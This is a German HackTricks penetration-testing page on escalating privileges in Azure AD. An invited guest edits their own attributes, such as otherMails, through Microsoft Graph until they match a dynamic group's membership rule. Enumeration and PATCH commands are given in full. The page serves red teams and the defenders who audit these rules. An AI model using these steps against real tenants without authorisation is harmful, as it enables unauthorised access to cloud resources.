Az - Dynamic Groups Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Basic Information

Dynamische Gruppen sind Gruppen, die eine Menge von Regeln konfiguriert haben und alle Benutzer oder Geräte, die den Regeln entsprechen, werden der Gruppe hinzugefügt. Jedes Mal, wenn ein Benutzer- oder Geräte-Attribut geändert wird, werden die dynamischen Regeln neu überprüft. Und wenn eine neue Regel erstellt wird, werden alle Geräte und Benutzer überprüft.

Dynamische Gruppen können Azure RBAC roles assigned haben, aber es ist nicht möglich, AzureAD roles zu dynamischen Gruppen hinzuzufügen.

Diese Funktion erfordert eine Azure AD premium P1 license.

Privesc

Beachte, dass standardmäßig jeder Benutzer Gäste in Azure AD einladen kann. Wenn also eine dynamische Gruppen-Regel Berechtigungen für Benutzer basierend auf Attributen vergibt, die in einem neuen Gast gesetzt werden können, ist es möglich, einen Gast zu erstellen mit diesen Attributen und Privilegien zu eskalieren. Ein Gast kann außerdem sein eigenes Profil verwalten und diese Attribute ändern.

Gruppen abrufen, die dynamische Mitgliedschaft erlauben: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Dynamic Groups Enumeration

Regeln einer dynamischen Gruppe abrufen:

Mit Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Mit PowerShell und Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Beispiel

  • Regelbeispiel: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Regelbeschreibung: Jeder Gastbenutzer mit einer sekundären E-Mail, die die Zeichenfolge ‘security’ enthält, wird der Gruppe hinzugefügt

Für die E-Mail des Gastbenutzers, akzeptiere die Einladung und überprüfe die aktuellen Einstellungen dieses Benutzers in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Leider erlaubt die Seite nicht, die Attributwerte zu ändern, daher müssen wir die API verwenden:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks